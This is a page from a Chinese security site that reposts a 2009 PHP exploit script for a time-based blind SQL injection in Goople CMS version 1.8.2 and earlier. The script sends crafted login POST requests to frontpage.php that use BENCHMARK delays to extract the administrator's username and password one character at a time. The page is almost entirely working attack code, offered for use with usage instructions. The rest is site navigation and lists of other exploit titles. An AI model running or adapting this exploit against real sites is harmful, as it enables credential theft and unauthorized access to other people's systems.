首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Goople <= 1.8.2 (frontpage.php) Blind SQL Injection Exploit
来源:http://darkjoker.net23.net 作者:darkjoker 发布时间:2009-01-07  
#--+++=========================================================+++--#
#--+++====== Goople <= 1.8.2 Blind SQL Injection Exploit ======+++--#
#--+++=========================================================+++--#

#!/usr/bin/php
<?

function usage ()
{
echo
"\n[+] Goople <= 1.8.2 Blind SQL Injection Exploit".
"\n[+] Author: darkjoker".
"\n[+] Site  : http://darkjoker.net23.net".
"\n[+] Usage : php xpl.php <hostname> <path> [key]".
"\n[+] Ex.   : php xpl.php localhost /goople abcdefghijklmnopqrstuvwxyz".
"\n[+] Note  : Have fun ^^\n\n";
exit ();
}

function check ($hostname, $path, $field, $pos, $char)
{
$char = ord ($char);
$fp = fsockopen ($hostname, 80);
$usr = "username=1' OR IF((ASCII(SUBSTRING((SELECT {$field} FROM GoopleCMS_users_ WHERE id =1),{$pos},1))={$char})".
       ",BENCHMARK(200000000,CHAR(0)),0) OR '1' = '2";
$usr = str_replace ("'", "%27", $usr);
$usr = str_replace (" ", "%20", $usr);
$pwd = "password=asd";
$sub = "loginsubmit=loginsubmit&loginsubmit=Login";
$str = "{$usr}&{$pwd}&{$sub}";
$post = "POST {$path}/frontpage.php HTTP/1.1\r\n".
"Host: {$hostname}\r\n".
"Connection: Close\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Content-Length: " . strlen ($str) . "\r\n\r\n".
$str;

fputs ($fp, $post);
$a =  time ();
while (!feof ($fp))
$res .= fgets ($fp, 1024);

$b =  time ();
fclose ($fp);

if ($b - $a > 4)
return true;
else
return false;
}


function brute ($hostname, $path, $field, $key)
{
$pos = 1;
$chr = 0;
while ($chr < strlen ($key))
{
if (check ($hostname, $path, $field, $pos, $key [$chr]))
{
echo $key [$chr];
$chr = -1;
$pos++;
}
$chr++;
}
}


if (count ($argv) != 3)
usage ();

$hostname = $argv [1];
$path = $argv [2];
$key = $argv [3];
if (empty ($key))
$key = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";

echo "[+] Username: ";
brute ($hostname, $path, "username", $key);
echo "\n[+] Password: ";
brute ($hostname, $path, "password", $key);
echo "\n";

?>

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Debian GNU/Linux XTERM (DECRQS
·Rosoft Media Player 4.2.1 Loca
·RiotPix <= 0.61 (forumid) Blin
·SeaMonkey <= 1.1.14 (marquee)
·Oracle 10g SYS.LT.COMPRESSWORK
·VUPlayer version 2.49 local de
·Oracle 10g SYS.LT.MERGEWORKSPA
·CoolPlayer BUILD 219 'Playlist
·Oracle 10g SYS.LT.REMOVEWORKSP
·Cain & Abel 4.9.25 (Cisco IOS-
·Safari (Arguments) Array Integ
·Joomla <= 1.5.8 (xstandard edi
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved